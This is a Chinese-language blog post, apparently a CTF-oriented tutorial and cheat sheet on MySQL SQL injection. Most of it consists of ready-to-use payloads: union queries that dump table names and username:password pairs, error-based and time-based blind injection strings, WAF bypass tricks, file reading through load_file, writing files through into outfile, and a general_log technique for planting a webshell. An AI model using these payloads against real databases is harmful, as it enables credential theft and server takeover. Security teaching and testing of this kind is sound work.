深入理解SQL注入,并介绍MySQL相关的注入手法
SQL注入介绍
老生常谈的话题,存在数据交互的地方,系统将攻击者精心构造的payload带入数据库进行查询,从而获得账号密码等信息
SQL注入分类
分类从来没有一个明确的标准,但大概可按照以下类型分类:
- 按照数据类型,分为字符型注入、数字型注入和搜索型注入
- 按照注入方式,分为联合注入、报错注入、堆叠注入、宽字节注入、盲注、约束攻击
- 按照注入危害类型,分为一次注入与二次注入
- 按照注入位置,分为GET型注入、POST型注入、HTTP参数注入
- 按照注入内容,分为正常数据注入、base64注入等
常规SQL注入思路
具体的情况具体分析,但大概可以按照以下思路
普通注入
- 确定存在注入
- 确定注入类型及语句闭合方式
- 确定字段数和显示位
- 查询数据库
- 查询表名
- 查询字段名
- 查询数据
盲注
盲注的工作量是比较大的,建议结合sqlmap或者python脚本来进行
- 确定存在注入
- 确定注入类型和语句闭合方式
- 确定数据库个数、各个库名长度、查询数据库名
- 确定表个数、各个表名长度、查询表名
- 确定字段个数、各个字段名长度、查询字段名
- 确定特定字段数据个数、各个数据长度、查询数据
细分SQL攻击方式
联合查询
- 通过加单引号或者双引号或者括号等使SQL语句报错
- 探测如何使语句注释或者闭合
- 通过order by 语句或者直接union 1,2,3,4来判断列数和显示位
查询数据库名
1 | union select group_concat(schema_name) from information_schema.schemata |
查询表名
1 | union select group_concat(table_name) from information_schema.tables where table_schema=database() |
查询字段名
1 | union select group_concat(column_name) from information_schema.columns where table_name='users' |
查询数据
1 | union select group_concat(username,0x3a,password) from users |
报错注入
报错注入的本质是借助于MySQL函数报错,常用报错函数如下,payload同联合查询,不再赘述
floor()+group by 报错,分组插入出现重复报错
1 | and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
updatexml()报错,传入非xml格式报错
1 | or updatexml(1,concat(0x7e,(version()),0x7e),0) |
extractvalue()报错,传入非xml格式报错
1 | and extractvalue(1,concat(0x7e,(select database()))) |
exp()报错,double数据溢出报错
1 | and exp(~(select * from(select user())a)) |
NAME_CONST()报错,查询重复报错
1 | select * from(select NAME_CONST(version(),1),NAME_CONST(version(),1))a; |
BIGINT溢出错误,整数溢出报错
1 | union select ~!(select * from(select user())x)+2; |
宽字节注入
当MySQL使用gbk编码时,会认为两个字符是一个汉字,产生宽字节注入,第一个字节要大于128
- ASCII编码的范围是0-127
- 国际通用UTF-8编码
- 中文常用GBK编码
- URL编码(常见的如%20、%27、%23、%5C)
攻击思路大概和普通注入一致,只需要使得单引号逃逸掉反斜杠的逃逸即可,攻击思路如下
- \前加一个\,形成\‘,单引号就可以生效
- 弄没转义的\ -> 宽字节注入,原理如下例题:http://chinalover.sinaapp.com/SQL-GBK/index.php
1
2\' -> \\' ->\%27
%df' -> %df\' -> $df%5C%27
SQL约束攻击
原因:
- mysql在进行查询时会自动忽略空格
- 长度有限制,大于长度会自动截断
- 借助截断和自动忽略实现再注册
堆叠注入
堆叠注入的本质是可以多语句执行,可以直接分号结束前一语句并执行攻击payload;
Prepare注入
这个通常可以结合堆叠注入来进行攻击,也具备较好的waf绕过的效果,Prepare即先将要攻击的payload赋值给变量,然后直接通过exec执行,payload可以为字符串,也可以转换为16进制进行waf绕过,参考如下攻击代码
1 | set @payload="select user()"; |
HTTP分割注入
类似以下这种查询语句,通过注入恶意数据可以注释中间语句,达到恶意攻击效果
1 | select * from users where username='$username' and password='$password'; |
- $username为admin’/*
- $password=*/ or ‘1
语句即为查询结果如下,仍然可以造成攻击。1
select * from users where username='admin'/*' and password='*/ or '1';
盲注
条件查询语句
if条件语句
1 | select if(condition,true,false) |
case when条件语句
1 | select case when condition then dosomething else dosomething end; |
截断及字符数值转化语句
substr()
1 | substr(str,pos=1,len) |
substring()
1 | substring(str,pos,[len]) |
mid()
1 | mid(str,pos,len) |
ascii()
1 | ascii(char) |
延时函数
sleep()
1 | sleep(3); |
benchmark();
1 | benchmark(10000000,sha(1)); |
笛卡尔积延时
1 | select count(*) from information_schema.columns A, |
正则回溯延时(类似dos)
1 | select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' |
order by注入
其实也是在order by 之后的参数进行类似盲注的攻击手法
1 | select * from users order by if(length(database())=8,sleep(1),1); |
无列名注入
union带数据
1 | select 1,2,3 union select * from users; |
别名带数据
1 | select c from (select 1,2,3 as c union select * from users)b; |
join带数据
1 | select * from users union all select * from (select * from users as a join users b)c; |
无逗号注入
以别名+join替换的方式过逗号waf
1 | select * from ((select group_concat(table_name) from information_schema.tables where table_schema='security')C); |
DNS外带注入
无任何回显且盲注无效,机器为windows机器,可考虑借助dnslog将数据进行dns外带处理。
二次注入
以上所讲的注入攻击都是在注入时直接生效,但二次注入并非如此,二次注入是将恶意的攻击数据代入数据库,再进行查询时从而造成二次攻击间接影响,比如我们注册了一个叫做admin’#的用户,代入查询时便会直接注释掉后续语句,等同于admin用户,这就是所谓的二次注入。
SQL注入WAF绕过技术
关键词waf
- 大小写
- 双写
- 编码
- 内联注释/!(version)payload*/
- 函数替换
- 十六进制
空格waf
- /**/
- 内联注释/!payload*/
- %09,%0a,%0b,%0c,%0d,%20,%a0
- 反引号``
引号
- 十六进制
- prepare注入
- 宽字节
逗号
- 函数重载参数列表
- 无逗号注入
- join绕过逗号注入
or
- 通过sys库来获取表名
- 无列名注入
- 大小写绕过
- ||、|
and
- &&、&(GET时注意会被误认为在传参)
- ^、~、+、-、*、/等运算
等号过滤
- like
- rlike
- regexp
- !<>
SQL文件操作
load_file()
加载文件
1 | select load_file(filepath); |
into outfile
1 | select 1,2,3 into outfile(filepath); |
load data
1 | load data local infile filepath into table tablename |
写入日志文件getshell
1 | set global general_log='ON'; |
Tricks
- sql_mode可改变现有的运算符用法
- select被过滤可以尝试用handler读取(参考题目随便注)
- Mysql任意文件读取漏洞
- sys库来获取表名
- 尝试十六进制绕过
- ‘ctf’ ->0xhex(ctf)
- #->%23 或者使用 –+
- =被过滤,like/regexp/!!=/!<>
- 盲注引号waf,ascii()变数字
- substring(str from pos for len) 绕过逗号waf
- rlike/regexp ‘正则’ 爆破数据
- or 被waf用||
- 空格被waf用/**/、反引号
- \N=NULL,可忽略空格
本文链接: https://yd0ng.github.io/2020/09/08/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3SQL%E6%B3%A8%E5%85%A5%E5%8F%8A%E6%B3%A8%E5%85%A5Tricks-MySQL/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!